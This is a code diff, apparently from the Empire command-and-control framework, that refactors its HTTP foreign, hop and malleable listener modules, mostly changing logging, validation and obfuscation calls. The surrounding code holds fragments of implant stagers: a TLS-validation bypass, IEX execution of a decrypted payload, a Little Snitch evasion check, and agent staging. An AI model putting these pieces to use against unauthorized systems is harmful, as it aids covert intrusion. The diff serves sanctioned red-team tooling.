@@ -104,6 +115,8 @@ def __init__(self, mainMenu, params=[]):
data_util.get_config("staging_key")[0]
)
+ self.instance_log = log
+
def default_response(self):
"""
If there's a default response expected from the server that the client needs to ignore,
@@ -111,7 +124,7 @@ def default_response(self):
"""
return ""
- def validate_options(self):
+ def validate_options(self) -> Tuple[bool, Optional[str]]:
"""
Validate all options for this listener.
"""
@@ -121,20 +134,13 @@ def validate_options(self):
for a in self.options["DefaultProfile"]["Value"].split("|")[0].split(",")
]
- for key in self.options:
- if self.options[key]["Required"] and (
- str(self.options[key]["Value"]).strip() == ""
- ):
- print(helpers.color('[!] Option "%s" is required.' % (key)))
- return False
-
- return True
+ return True, None
def generate_launcher(
self,
encode=True,
obfuscate=False,
- obfuscationCommand="",
+ obfuscation_command="",
userAgent="default",
proxy="default",
proxyCreds="default",
@@ -150,18 +156,21 @@ def generate_launcher(
bypasses = [] if bypasses is None else bypasses
if not language:
- print(
- helpers.color(
- "[!] listeners/http_foreign generate_launcher(): no language specified!"
- )
+ log.error(
+ "listeners/http_foreign generate_launcher(): no language specified!"
)
-
- if listenerName and (listenerName in self.mainMenu.listeners.activeListeners):
-
+ return None
+
+ # Previously, we had to do a lookup for the listener and check through threads on the instance.
+ # Beginning in 5.0, each instance is unique, so using self should work. This code could probably be simplified
+ # further, but for now keeping as is since 5.0 has enough rewrites as it is.
+ if (
+ True
+ ): # The true check is just here to keep the indentation consistent with the old code.
+ active_listener = self
# extract the set options for this instantiated listener
- listenerOptions = self.mainMenu.listeners.activeListeners[listenerName][
- "options"
- ]
+ listenerOptions = active_listener.options
+
host = listenerOptions["Host"]["Value"]
launcher = listenerOptions["Launcher"]["Value"]
stagingKey = listenerOptions["StagingKey"]["Value"]
@@ -193,7 +202,6 @@ def generate_launcher(
stager += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};"
if userAgent.lower() != "none" or proxy.lower() != "none":
-
if userAgent.lower() != "none":
stager += "$wc.Headers.Add('User-Agent',$u);"
@@ -219,7 +227,7 @@ def generate_launcher(
domain = username.split("\\")[0]
usr = username.split("\\")[1]
stager += f"$netcred = New-Object System.Net.NetworkCredential('{ usr }', '{ password }', '{ domain }');"
- stager += f"$wc.Proxy.Credentials = $netcred;"
+ stager += "$wc.Proxy.Credentials = $netcred;"
# TODO: reimplement stager retries?
@@ -264,14 +272,13 @@ def generate_launcher(
stager = data_util.ps_convert_to_oneliner(stager)
if obfuscate:
- stager = data_util.obfuscate(
- self.mainMenu.installPath,
+ stager = self.mainMenu.obfuscationv2.obfuscate(
stager,
- obfuscationCommand=obfuscationCommand,
+ obfuscation_command=obfuscation_command,
)
# base64 encode the stager and return it
if encode and (
- (not obfuscate) or ("launcher" not in obfuscationCommand.lower())
+ (not obfuscate) or ("launcher" not in obfuscation_command.lower())
):
return helpers.powershell_launcher(stager, launcher)
else:
@@ -290,8 +297,8 @@ def generate_launcher(
if safeChecks.lower() == "true":
launcherBase += listener_util.python_safe_checks()
except Exception as e:
- p = "[!] Error setting LittleSnitch in stagger: " + str(e)
- print(helpers.color(p, color="red"))
+ p = f"{listenerName}: Error setting LittleSnitch in stager: {str(e)}"
+ log.error(p, exc_info=True)
if userAgent.lower() == "default":
profile = listenerOptions["DefaultProfile"]["Value"]
@@ -380,18 +387,9 @@ def generate_launcher(
return launcherBase
else:
- print(
- helpers.color(
- "[!] listeners/http_foreign generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module."
- )
- )
-
- else:
- print(
- helpers.color(
- "[!] listeners/http_foreign generate_launcher(): invalid listener name specification!"
+ log.error(
+ "listeners/http_foreign generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module."
)
- )
def generate_stager(
self,
@@ -399,30 +397,24 @@ def generate_stager(
encode=False,
encrypt=True,
obfuscate=False,
- obfuscationCommand="",
+ obfuscation_command="",
language=None,
):
"""
If you want to support staging for the listener module, generate_stager must be
implemented to return the stage1 key-negotiation stager code.
"""
- print(
- helpers.color(
- "[!] generate_stager() not implemented for listeners/template"
- )
- )
+ log.error("generate_stager() not implemented for listeners/template")
return ""
def generate_agent(
- self, listenerOptions, language=None, obfuscate=False, obfuscationCommand=""
+ self, listenerOptions, language=None, obfuscate=False, obfuscation_command=""
):
"""
If you want to support staging for the listener module, generate_agent must be
implemented to return the actual staged agent code.
"""
- print(
- helpers.color("[!] generate_agent() not implemented for listeners/template")
- )
+ log.error("generate_agent() not implemented for listeners/template")
return ""
def generate_comms(self, listenerOptions, language=None):
@@ -468,17 +460,11 @@ def generate_comms(self, listenerOptions, language=None):
return comms
else:
- print(
- helpers.color(
- "[!] listeners/http_foreign generate_comms(): invalid language specification, only 'powershell' and 'python' are current supported for this module."
- )
+ log.error(
+ "listeners/http_foreign generate_comms(): invalid language specification, only 'powershell' and 'python' are current supported for this module."
)
else:
- print(
- helpers.color(
- "[!] listeners/http_foreign generate_comms(): no language specified!"
- )
- )
+ log.error("listeners/http_foreign generate_comms(): no language specified!")
def start(self, name=""):
"""
diff --git a/empire/server/listeners/http_hop.py b/empire/server/listeners/http_hop.py
index e6b3008fb..f254177f1 100755
--- a/empire/server/listeners/http_hop.py
+++ b/empire/server/listeners/http_hop.py
@@ -1,27 +1,38 @@
-from __future__ import print_function
-
import base64
import errno
+import logging
import os
import random
from builtins import object, str
-from typing import List
+from typing import List, Optional, Tuple
from empire.server.common import helpers, packets, templating
+from empire.server.common.empire import MainMenu
from empire.server.utils import data_util, listener_util
+LOG_NAME_PREFIX = __name__
+log = logging.getLogger(__name__)
-class Listener(object):
- def __init__(self, mainMenu, params=[]):
+class Listener(object):
+ def __init__(self, mainMenu: MainMenu, params=[]):
self.info = {
"Name": "HTTP[S] Hop",
- "Author": ["@harmj0y"],
+ "Authors": [
+ {
+ "Name": "Will Schroeder",
+ "Handle": "@harmj0y",
+ "Link": "https://twitter.com/harmj0y",
+ }
+ ],
"Description": (
"Starts a http[s] listener (PowerShell or Python) that uses a GET/POST approach."
),
"Category": ("client_server"),
"Comments": [],
+ "Software": "",
+ "Techniques": [],
+ "Tactics": [],
}
# any options needed by the stager, settable during runtime
@@ -79,7 +90,7 @@ def __init__(self, mainMenu, params=[]):
self.mainMenu = mainMenu
self.threads = {}
- # optional/specific for this module
+ self.instance_log = log
def default_response(self):
"""
@@ -88,25 +99,18 @@ def default_response(self):
"""
return ""
- def validate_options(self):
+ def validate_options(self) -> Tuple[bool, Optional[str]]:
"""
Validate all options for this listener.
"""
- for key in self.options:
- if self.options[key]["Required"] and (
- str(self.options[key]["Value"]).strip() == ""
- ):
- print(helpers.color('[!] Option "%s" is required.' % (key)))
- return False
-
- return True
+ return True, None
def generate_launcher(
self,
encode=True,
obfuscate=False,
- obfuscationCommand="",
+ obfuscation_command="",
userAgent="default",
proxy="default",
proxyCreds="default",
@@ -122,18 +126,19 @@ def generate_launcher(
bypasses = [] if bypasses is None else bypasses
if not language:
- print(
- helpers.color(
- "[!] listeners/http_hop generate_launcher(): no language specified!"
- )
- )
-
- if listenerName and (listenerName in self.mainMenu.listeners.activeListeners):
-
+ log.error("listeners/http_hop generate_launcher(): no language specified!")
+ return None
+
+ # Previously, we had to do a lookup for the listener and check through threads on the instance.
+ # Beginning in 5.0, each instance is unique, so using self should work. This code could probably be simplified
+ # further, but for now keeping as is since 5.0 has enough rewrites as it is.
+ if (
+ True
+ ): # The true check is just here to keep the indentation consistent with the old code.
+ active_listener = self
# extract the set options for this instantiated listener
- listenerOptions = self.mainMenu.listeners.activeListeners[listenerName][
- "options"
- ]
+ listenerOptions = active_listener.options
+
host = listenerOptions["Host"]["Value"]
launcher = listenerOptions["Launcher"]["Value"]
stagingKey = listenerOptions["RedirectStagingKey"]["Value"]
@@ -163,7 +168,6 @@ def generate_launcher(
stager += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};"
if userAgent.lower() != "none" or proxy.lower() != "none":
-
if userAgent.lower() != "none":
stager += "$wc.Headers.Add('User-Agent',$u);"
@@ -226,14 +230,13 @@ def generate_launcher(
stager = data_util.ps_convert_to_oneliner(stager)
if obfuscate:
- stager = data_util.obfuscate(
- self.mainMenu.installPath,
+ stager = self.mainMenu.obfuscationv2.obfuscate(
stager,
- obfuscationCommand=obfuscationCommand,
+ obfuscation_command=obfuscation_command,
)
# base64 encode the stager and return it
if encode and (
- (not obfuscate) or ("launcher" not in obfuscationCommand.lower())
+ (not obfuscate) or ("launcher" not in obfuscation_command.lower())
):
return helpers.powershell_launcher(stager, launcher)
else:
@@ -259,8 +262,8 @@ def generate_launcher(
launcherBase += 'if re.search("Little Snitch", out):\n'
launcherBase += " sys.exit()\n"
except Exception as e:
- p = "[!] Error setting LittleSnitch in stagger: " + str(e)
- print(helpers.color(p, color="red"))
+ p = f"{listenerName}: Error setting LittleSnitch in stager: {str(e)}"
+ log.error(p, exc_info=True)
if userAgent.lower() == "default":
userAgent = profile.split("|")[1]
@@ -343,18 +346,9 @@ def generate_launcher(
return launcherBase
else:
- print(
- helpers.color(
- "[!] listeners/http_hop generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module."
- )
- )
-
- else:
- print(
- helpers.color(
- "[!] listeners/http_hop generate_launcher(): invalid listener name specification!"
+ log.error(
+ "listeners/http_hop generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module."
)
- )
def generate_stager(
self,
@@ -362,30 +356,24 @@ def generate_stager(
encode=False,
encrypt=True,
obfuscate=False,
- obfuscationCommand="",
+ obfuscation_command="",
language=None,
):
"""
If you want to support staging for the listener module, generate_stager must be
implemented to return the stage1 key-negotiation stager code.
"""
- print(
- helpers.color(
- "[!] generate_stager() not implemented for listeners/http_hop"
- )
- )
+ log.error("generate_stager() not implemented for listeners/http_hop")
return ""
def generate_agent(
- self, listenerOptions, language=None, obfuscate=False, obfuscationCommand=""
+ self, listenerOptions, language=None, obfuscate=False, obfuscation_command=""
):
"""
If you want to support staging for the listener module, generate_agent must be
implemented to return the actual staged agent code.
"""
- print(
- helpers.color("[!] generate_agent() not implemented for listeners/http_hop")
- )
+ log.error("generate_agent() not implemented for listeners/http_hop")
return ""
def generate_comms(self, listenerOptions, language=None):
@@ -431,17 +419,11 @@ def generate_comms(self, listenerOptions, language=None):
return comms
else:
- print(
- helpers.color(
- "[!] listeners/http_hop generate_comms(): invalid language specification, only 'powershell' and 'python' are current supported for this module."
- )
+ log.error(
+ "listeners/http_hop generate_comms(): invalid language specification, only 'powershell' and 'python' are current supported for this module."
)
else:
- print(
- helpers.color(
- "[!] listeners/http_hop generate_comms(): no language specified!"
- )
- )
+ log.error("listeners/http_hop generate_comms(): no language specified!")
def start(self, name=""):
"""
@@ -453,7 +435,6 @@ def start(self, name=""):
redirectListenerOptions = data_util.get_listener_options(redirectListenerName)
if redirectListenerOptions:
-
self.options["RedirectStagingKey"][
"Value"
] = redirectListenerOptions.options["StagingKey"]["Value"]
@@ -490,26 +471,20 @@ def start(self, name=""):
with open(saveName, "w") as f:
f.write(hopCode)
- print(
- helpers.color(
- "[*] Hop redirector written to %s . Place this file on the redirect server."
- % (saveName)
- )
+ log.info(
+ f"Hop redirector written to {saveName} . Place this file on the redirect server."
)
return True
else:
- print(
- helpers.color(
- "[!] Redirect listener name %s not a valid listener!"
- % (redirectListenerName)
- )
+ log.error(
+ f"Redirect listener name {redirectListenerName} not a valid listener!"
)
return False
def shutdown(self, name=""):
"""
- Nothing to actually shut down for a hop listner.
+ Nothing to actually shut down for a hop listener.
"""
pass
diff --git a/empire/server/listeners/http_malleable.py b/empire/server/listeners/http_malleable.py
index 3bc851af6..b9c5fc488 100644
--- a/empire/server/listeners/http_malleable.py
+++ b/empire/server/listeners/http_malleable.py
@@ -2,39 +2,54 @@
import base64
import copy
-import json
import logging
import os
import random
import ssl
-import string
import sys
import time
import urllib.parse
from builtins import object, str
-from typing import List
+from typing import List, Optional, Tuple
-from flask import Flask, Response, make_response, render_template, request
-from pydispatch import dispatcher
+from flask import Flask, Response, make_response, request
from empire.server.common import encryption, helpers, malleable, packets, templating
-from empire.server.database import models
-from empire.server.database.base import Session
-from empire.server.utils import data_util, listener_util
+from empire.server.common.empire import MainMenu
+from empire.server.core.db import models
+from empire.server.core.db.base import SessionLocal
+from empire.server.utils import data_util, listener_util, log_util
+from empire.server.utils.module_util import handle_validate_message
+LOG_NAME_PREFIX = __name__
+log = logging.getLogger(__name__)
-class Listener(object):
- def __init__(self, mainMenu, params=[]):
+class Listener(object):
+ def __init__(self, mainMenu: MainMenu, params=[]):
self.info = {
"Name": "HTTP[S] MALLEABLE",
- "Author": ["@harmj0y", "@johneiser"],
+ "Authors": [
+ {
+ "Name": "Will Schroeder",
+ "Handle": "@harmj0y",
+ "Link": "https://twitter.com/harmj0y",
+ },
+ {
+ "Name": "",
+ "Handle": "@johneiser",
+ "Link": "",
+ },
+ ],
"Description": (
"Starts a http[s] listener (PowerShell or Python) that adheres to a Malleable C2 profile."
),
# categories - client_server, peer_to_peer, broadcast, third_party
"Category": ("client_server"),
"Comments": [],
+ "Software": "",
+ "Techniques": [],
+ "Tactics": [],
}
# any options needed by the stager, settable during runtime
@@ -139,27 +154,24 @@ def __init__(self, mainMenu, params=[]):
data_util.get_config("staging_key")[0]
)
+ self.template_dir = self.mainMenu.installPath + "/data/listeners/templates/"
+
+ self.instance_log = log
+
def default_response(self):
"""
Returns an IIS 7.5 404 not found page.
"""
return open(f"{self.template_dir }/default.html", "r").read()
- def validate_options(self):
+ def validate_options(self) -> Tuple[bool, Optional[str]]:
"""
Validate all options for this listener.
"""
- for key in self.options:
- if self.options[key]["Required"] and (
- str(self.options[key]["Value"]).strip() == ""
- ):
- print(helpers.color('[!] Option "%s" is required.' % (key)))
- return False
-
profile_name = self.options["Profile"]["Value"]
profile_data = (
- Session()
+ SessionLocal()
.query(models.Profile)
.filter(models.Profile.name == profile_name)
.first()
@@ -187,11 +199,7 @@ def validate_options(self):
if profile.validate():
# store serialized profile for use across sessions
- self.options["ProfileSerialized"] = {
- "Description": "Serialized version of the provided Malleable C2 profile.",
- "Required": False,
- "Value": profile._serialize(),
- }
+ self.serialized_profile = profile._serialize()
# for agent compatibility (use post for staging)
self.options["DefaultProfile"] = {
@@ -225,34 +233,29 @@ def validate_options(self):
profile.post.client.headers.pop(header, None)
else:
- print(
- helpers.color(
- "[!] Unable to parse malleable profile: %s" % (profile_name)
- )
+ return handle_validate_message(
+ f"[!] Unable to parse malleable profile: {profile_name}"
)
- return False
if self.options["CertPath"]["Value"] == "" and self.options["Host"][
"Value"
].startswith("https"):
- print(helpers.color("[!] HTTPS selected but no CertPath specified."))
- return False
+ return handle_validate_message(
+ "[!] HTTPS selected but no CertPath specified."
+ )
except malleable.MalleableError as e:
- print(
- helpers.color(
- "[!] Error parsing malleable profile: %s, %s" % (profile_name, e)
- )
+ return handle_validate_message(
+ f"[!] Error parsing malleable profile: {profile_name}, {e}"
)
- return False
- return True
+ return True, None
def generate_launcher(
self,
encode=True,
obfuscate=False,
- obfuscationCommand="",
+ obfuscation_command="",
userAgent="default",
proxy="default",
proxyCreds="default",
@@ -268,29 +271,26 @@ def generate_launcher(
"""
bypasses = [] if bypasses is None else bypasses
if not language:
- print(
- helpers.color(
- "[!] listeners/template generate_launcher(): no language specified!"
- )
- )
+ log.error("listeners/template generate_launcher(): no language specified!")
return None
- if listenerName and (listenerName in self.mainMenu.listeners.activeListeners):
-
+ # Previously, we had to do a lookup for the listener and check through threads on the instance.
+ # Beginning in 5.0, each instance is unique, so using self should work. This code could probably be simplified
+ # further, but for now keeping as is since 5.0 has enough rewrites as it is.
+ if (
+ True
+ ): # The true check is just here to keep the indentation consistent with the old code.
+ active_listener = self
# extract the set options for this instantiated listener
- listenerOptions = self.mainMenu.listeners.activeListeners[listenerName][
- "options"
- ]
- bindIP = listenerOptions["BindIP"]["Value"]
+ listenerOptions = active_listener.options
+
port = listenerOptions["Port"]["Value"]
host = listenerOptions["Host"]["Value"]
launcher = listenerOptions["Launcher"]["Value"]
stagingKey = listenerOptions["StagingKey"]["Value"]
# build profile
- profile = malleable.Profile._deserialize(
- listenerOptions["ProfileSerialized"]["Value"]
- )
+ profile = malleable.Profile._deserialize(self.serialized_profile)
profile.stager.client.host = host
profile.stager.client.port = port
profile.stager.client.path = profile.stager.client.random_uri()
@@ -445,14 +445,13 @@ def generate_launcher(
launcherBase += "-join[Char[]](& $R $data ($IV+$K))|IEX"
if obfuscate:
- launcherBase = data_util.obfuscate(
- self.mainMenu.installPath,
+ launcherBase = self.mainMenu.obfuscationv2.obfuscate(
launcherBase,
- obfuscationCommand=obfuscationCommand,
+ obfuscation_command=obfuscation_command,
)
if encode and (
- (not obfuscate) or ("launcher" not in obfuscationCommand.lower())
+ (not obfuscate) or ("launcher" not in obfuscation_command.lower())
):
return helpers.powershell_launcher(launcherBase, launcher)
else:
@@ -583,26 +582,17 @@ def generate_launcher(
return launcherBase
else:
- print(
- helpers.color(
- "[!] listeners/template generate_launcher(): invalid language specification: only 'powershell' and 'python' are currently supported for this module."
- )
+ log.error(
+ "listeners/template generate_launcher(): invalid language specification: only 'powershell' and 'python' are currently supported for this module."
)
- else:
- print(
- helpers.color(
- "[!] listeners/template generate_launcher(): invalid listener name specification!"
- )
- )
-
def generate_stager(
self,
listenerOptions,
encode=False,
encrypt=True,
obfuscate=False,
- obfuscationCommand="",
+ obfuscation_command="",
language=None,
):
"""
@@ -610,10 +600,8 @@ def generate_stager(
"""
if not language:
- print(
- helpers.color(
- "[!] listeners/http_malleable generate_stager(): no language specified!"
- )
+ log.error(
+ "listeners/http_malleable generate_stager(): no language specified!"
)
return None
@@ -625,9 +613,7 @@ def generate_stager(
killDate = listenerOptions["KillDate"]["Value"]
# build profile
- profile = malleable.Profile._deserialize(
- listenerOptions["ProfileSerialized"]["Value"]
- )
+ profile = malleable.Profile._deserialize(self.serialized_profile)
profile.stager.client.host = host
profile.stager.client.port = port
@@ -658,7 +644,7 @@ def generate_stager(
stager = template.render(template_options)
# Get the random function name generated at install and patch the stager with the proper function name
- stager = data_util.keyword_obfuscation(stager)
+ stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager)
# make sure the server ends with "/"
if not host.endswith("/"):
@@ -687,10 +673,9 @@ def generate_stager(
)
if obfuscate:
- unobfuscated_stager = data_util.obfuscate(
- self.mainMenu.installPath,
+ unobfuscated_stager = self.mainMenu.obfuscationv2.obfuscate(
unobfuscated_stager,
- obfuscationCommand=obfuscationCommand,
+ obfuscation_command=obfuscation_command,
)
if encode:
@@ -740,10 +725,8 @@ def generate_stager(
return stager
else:
- print(
- helpers.color(
- "[!] listeners/http_malleable generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module."
- )
+ log.error(
+ "listeners/http_malleable generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module."
)
return None
@@ -753,7 +736,7 @@ def generate_agent(
listenerOptions,
language=None,
obfuscate=False,
- obfuscationCommand="",
+ obfuscation_command="",
version="",
):
"""
@@ -761,17 +744,13 @@ def generate_agent(
"""
if not language:
- print(
- helpers.color(
- "[!] listeners/http_malleable generate_agent(): no language specified!"
- )
+ log.error(
+ "listeners/http_malleable generate_agent(): no language specified!"
)
return None
# build profile
- profile = malleable.Profile._deserialize(
- listenerOptions["ProfileSerialized"]["Value"]
- )
+ profile = malleable.Profile._deserialize(self.serialized_profile)
language = language.lower()
delay = listenerOptions["DefaultDelay"]["Value"]
@@ -791,7 +770,7 @@ def generate_agent(
code = f.read()
# Get the random function name generated at install and patch the stager with the proper function name
- code = data_util.keyword_obfuscation(code)
+ code = self.mainMenu.obfuscationv2.obfuscate_keywords(code)
# strip out the comments and blank lines
code = helpers.strip_powershell_comments(code)
@@ -815,10 +794,9 @@ def generate_agent(
"$KillDate,", "$KillDate = '" + str(killDate) + "',"
)
if obfuscate:
- code = data_util.obfuscate(
- self.mainMenu.installPath,
+ code = self.mainMenu.obfuscationv2.obfuscate(
code,
- obfuscationCommand=obfuscationCommand,
+ obfuscation_command=obfuscation_command,
)
return code
@@ -857,10 +835,8 @@ def generate_agent(
return code
else:
- print(
- helpers.color(
- "[!] listeners/http_malleable generate_agent(): invalid language specification, only 'powershell' and 'python' are currently supported for this module."
- )
+ log.error(
+ "listeners/http_malleable generate_agent(): invalid language specification, only 'powershell' and 'python' are currently supported for this module."
)
def generate_comms(self, listenerOptions, language=None):
@@ -874,9 +850,7 @@ def generate_comms(self, listenerOptions, language=None):
port = listenerOptions["Port"]["Value"]
# build profile
- profile = malleable.Profile._deserialize(
- listenerOptions["ProfileSerialized"]["Value"]
- )
+ profile = malleable.Profile._deserialize(self.serialized_profile)
profile.get.client.host = host
profile.get.client.port = port
profile.post.client.host = host
@@ -1056,7 +1030,7 @@ def generate_comms(self, listenerOptions, language=None):
# ==== ADD PARAMETERS ====
first = True
for parameter, value in profile.post.client.parameters.items():
- sendMessage += f"$taskURI += '" + ("?" if first else "&") + "';"
+ sendMessage += "$taskURI += '" + ("?" if first else "&") + "';"
first = False
sendMessage += f"$taskURI += '{ parameter }={ value }';"
if (
@@ -1343,17 +1317,11 @@ def generate_comms(self, listenerOptions, language=None):
return updateServers + sendMessage
else:
- print(
- helpers.color(
- "[!] listeners/template generate_comms(): invalid language specification, only 'powershell' and 'python' are current supported for this module."
- )
+ log.error(
+ "listeners/template generate_comms(): invalid language specification, only 'powershell' and 'python' are current supported for this module."
)
else:
- print(
- helpers.color(
- "[!] listeners/template generate_comms(): no language specified!"
- )
- )
+ log.error("listeners/template generate_comms(): no language specified!")
def start_server(self, listenerOptions):
"""
@@ -1368,15 +1336,10 @@ def start_server(self, listenerOptions):
port = listenerOptions["Port"]["Value"]
host = listenerOptions["Host"]["Value"]
stagingKey = listenerOptions["StagingKey"]["Value"]
- listenerName = listenerOptions["Name"]["Value"]
- proxy = listenerOptions["Proxy"]["Value"]
- proxyCreds = listenerOptions["ProxyCreds"]["Value"]
certPath = listenerOptions["CertPath"]["Value"]
# build and validate profile
- profile = malleable.Profile._deserialize(
- listenerOptions["ProfileSerialized"]["Value"]
- )
+ profile = malleable.Profile._deserialize(self.serialized_profile)
profile.validate()
# suppress the normal Flask output
@@ -1384,7 +1347,6 @@ def start_server(self, listenerOptions):
log.setLevel(logging.ERROR)
# initialize flask server
- self.template_dir = self.mainMenu.installPath + "/data/listeners/templates/"
app = Flask(__name__, template_folder=self.template_dir)
self.app = app
@@ -1399,23 +1361,12 @@ def handle_request(request_uri="", tempListenerOptions=None):
url = request.url
method = request.method
headers = request.headers
- profile = malleable.Profile._deserialize(
- self.options["ProfileSerialized"]["Value"]
- )
+ profile = malleable.Profile._deserialize(self.serialized_profile)
# log request
listenerName = self.options["Name"]["Value"]
- message = "[*] {} request for {}/{} from {} ({} bytes)".format(
- request.method.upper(),
- request.host,
- request_uri,
- clientIP,
- len(request.data),
- )
- signal = json.dumps({"print": False, "message": message})
- dispatcher.send(
- signal, sender="listeners/http_malleable/{}".format(listenerName)
- )
+ message = f"{listenerName}: {request.method.upper()} request for {request.host}/{request_uri} from {clientIP} ({len(request.data)} bytes)"
+ self.instance_log.info(message)
try:
# build malleable request from flask request
@@ -1472,7 +1423,7 @@ def handle_request(request_uri="", tempListenerOptions=None):
stagingKey, agentInfo, listenerOptions, clientIP
)
if dataResults and len(dataResults) > 0:
- for (language, results) in dataResults:
+ for language, results in dataResults:
if results:
if isinstance(results, str):
results = results.encode("latin-1")
@@ -1480,26 +1431,25 @@ def handle_request(request_uri="", tempListenerOptions=None):
# step 2 of negotiation -> server returns stager (stage 1)
# log event
- message = "[*] Sending {} stager (stage 1) to {}".format(
- language, clientIP
- )
- signal = json.dumps(
- {"print": True, "message": message}
- )
- dispatcher.send(
- signal,
- sender="listeners/http_malleable/{}".format(
- listenerName
- ),
- )
+ message = f"{listenerName} Sending {language} stager (stage 1) to {clientIP}"
+ self.instance_log.info(message)
+ log.info(message)
# build stager (stage 1)
- stager = self.generate_stager(
- language=language,
- listenerOptions=listenerOptions,
- obfuscate=self.mainMenu.obfuscate,
- obfuscationCommand=self.mainMenu.obfuscateCommand,
- )
+ with SessionLocal() as db:
+ obf_config = self.mainMenu.obfuscationv2.get_obfuscation_config(
+ db, language
+ )
+ stager = self.generate_stager(
+ language=language,
+ listenerOptions=listenerOptions,
+ obfuscate=False
+ if not obf_config
+ else obf_config.enabled,
+ obfuscation_command=""
+ if not obf_config
+ else obf_config.command,
+ )
# build malleable response with stager (stage 1)
malleableResponse = (
@@ -1526,18 +1476,9 @@ def handle_request(request_uri="", tempListenerOptions=None):
]["sessionKey"]
# log event
- message = "[*] Sending agent (stage 2) to {} at {}".format(
- sessionID, clientIP
- )
- signal = json.dumps(
- {"print": True, "message": message}
- )
- dispatcher.send(
- signal,
- sender="listeners/http_malleable/{}".format(
- listenerName
- ),
- )
+ message = f"{listenerName}: Sending agent (stage 2) to {sessionID} at {clientIP}"
+ self.instance_log.info(message)
+ log.info(message)
# TODO: handle this with malleable??
tempListenerOptions = None
@@ -1564,7 +1505,7 @@ def handle_request(request_uri="", tempListenerOptions=None):
)
session_info = (
- Session()
+ SessionLocal()
.query(models.Agent)
.filter(
models.Agent.session_id == sessionID
@@ -1577,17 +1518,29 @@ def handle_request(request_uri="", tempListenerOptions=None):
version = ""
# generate agent
- agentCode = self.generate_agent(
- language=language,
- listenerOptions=(
- tempListenerOptions
- if tempListenerOptions
- else listenerOptions
- ),
- obfuscate=self.mainMenu.obfuscate,
- obfuscationCommand=self.mainMenu.obfuscateCommand,
- version=version,
- )
+ with SessionLocal() as db:
+ obf_config = self.mainMenu.obfuscationv2.get_obfuscation_config(
+ db, language
+ )
+ agentCode = self.generate_agent(
+ language=language,
+ listenerOptions=(
+ tempListenerOptions
+ if tempListenerOptions
+ else listenerOptions
+ ),
+ obfuscate=False
+ if not obf_config
+ else obf_config.enabled,
+ obfuscation_command=""
+ if not obf_config
+ else obf_config.command,
+ version=version,
+ )
+
+ if language.lower() in ["python", "ironpython"]:
+ sessionKey = bytes.fromhex(sessionKey)
+
encryptedAgent = (
encryption.aes_encrypt_then_hmac(
sessionKey, agentCode
@@ -1606,43 +1559,22 @@ def handle_request(request_uri="", tempListenerOptions=None):
b"error"
) or results[:10].lower().startswith(b"exception"):
# agent returned an error
- message = "[!] Error returned for results by {} : {}".format(
- clientIP, results
- )
- signal = json.dumps(
- {"print": True, "message": message}
- )
- dispatcher.send(
- signal,
- sender="listeners/http_malleable/{}".format(
- listenerName
- ),
- )
+ message = f"{listenerName}: Error returned for results by {clientIP} : {results}"
+ self.instance_log.error(message)
+ log.error(message)
return Response(self.default_response(), 404)
elif results.startswith(b"ERROR:"):
# error parsing agent data
- message = "[!] Error from agents.handle_agent_data() for {} from {}: {}".format(
- request_uri, clientIP, results
- )
- signal = json.dumps(
- {"print": True, "message": message}
- )
- dispatcher.send(
- signal,
- sender="listeners/http_malleable/{}".format(
- listenerName
- ),
- )
+ message = f"{listenerName}: Error from agents.handle_agent_data() for {request_uri} from {clientIP}: {results}"
+ self.instance_log.error(message)
+ log.error(message)
if b"not in cache" in results:
# signal the client to restage
- print(
- helpers.color(
- "[*] Orphaned agent from %s, signaling restaging"
- % (clientIP)
- )
+ log.info(
+ f"{listenerName} Orphaned agent from {clientIP}, signaling restaging"
)
return make_response("", 401)
@@ -1650,20 +1582,8 @@ def handle_request(request_uri="", tempListenerOptions=None):
elif results == b"VALID":
# agent posted results
- message = (
- "[*] Valid results returned by {}".format(
- clientIP
- )
- )
- signal = json.dumps(
- {"print": False, "message": message}
- )
- dispatcher.send(
- signal,
- sender="listeners/http/{}".format(
- listenerName
- ),
- )
+ message = f"{listenerName} Valid results returned by {clientIP}"
+ self.instance_log.info(message)
malleableResponse = (
implementation.construct_server("")
@@ -1678,21 +1598,9 @@ def handle_request(request_uri="", tempListenerOptions=None):
if request.method == b"POST":
# step 4 of negotiation -> server returns RSA(nonce+AESsession))
- # log event
- message = (
- "[*] Sending session key to {}".format(
- clientIP
- )
- )
- signal = json.dumps(
- {"print": True, "message": message}
- )
- dispatcher.send(
- signal,
- sender="listeners/http_malleable/{}".format(
- listenerName
- ),
- )
+ message = f"{listenerName}: Sending session key to {clientIP}"
+ self.instance_log.info(message)
+ log.info(message)
# note: stage 1 negotiation comms are hard coded, so we can't use malleable
return Response(
@@ -1703,18 +1611,8 @@ def handle_request(request_uri="", tempListenerOptions=None):
else:
# agent requested taskings
- message = "[*] Agent from {} retrieved taskings".format(
- clientIP
- )
- signal = json.dumps(
- {"print": False, "message": message}
- )
- dispatcher.send(
- signal,
- sender="listeners/http_malleable/{}".format(
- listenerName
- ),
- )
+ message = f"{listenerName}: Agent from {clientIP} retrieved taskings"
+ self.instance_log.info(message)
# build malleable response with results
malleableResponse = (
@@ -1734,20 +1632,8 @@ def handle_request(request_uri="", tempListenerOptions=None):
else:
# no tasking for agent
- message = (
- "[*] Agent from {} retrieved taskings".format(
- clientIP
- )
- )
- signal = json.dumps(
- {"print": False, "message": message}
- )
- dispatcher.send(
- signal,
- sender="listeners/http_malleable/{}".format(
- listenerName
- ),
- )
+ message = f"{listenerName}: Agent from {clientIP} retrieved taskings"
+ self.instance_log.info(message)
# build malleable response with no results
malleableResponse = implementation.construct_server(
@@ -1760,46 +1646,24 @@ def handle_request(request_uri="", tempListenerOptions=None):
)
else:
# log error parsing routing packet
- message = (
- "[!] Error parsing routing packet from {}: {}.".format(
- clientIP, str(agentInfo)
- )
- )
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(
- signal,
- sender="listeners/http_malleable/{}".format(
- listenerName
- ),
- )
+ message = f"{listenerName} Error parsing routing packet from {clientIP}: {str(agentInfo)}."
+ self.instance_log.error(message)
+ log.error(message)
# log invalid request
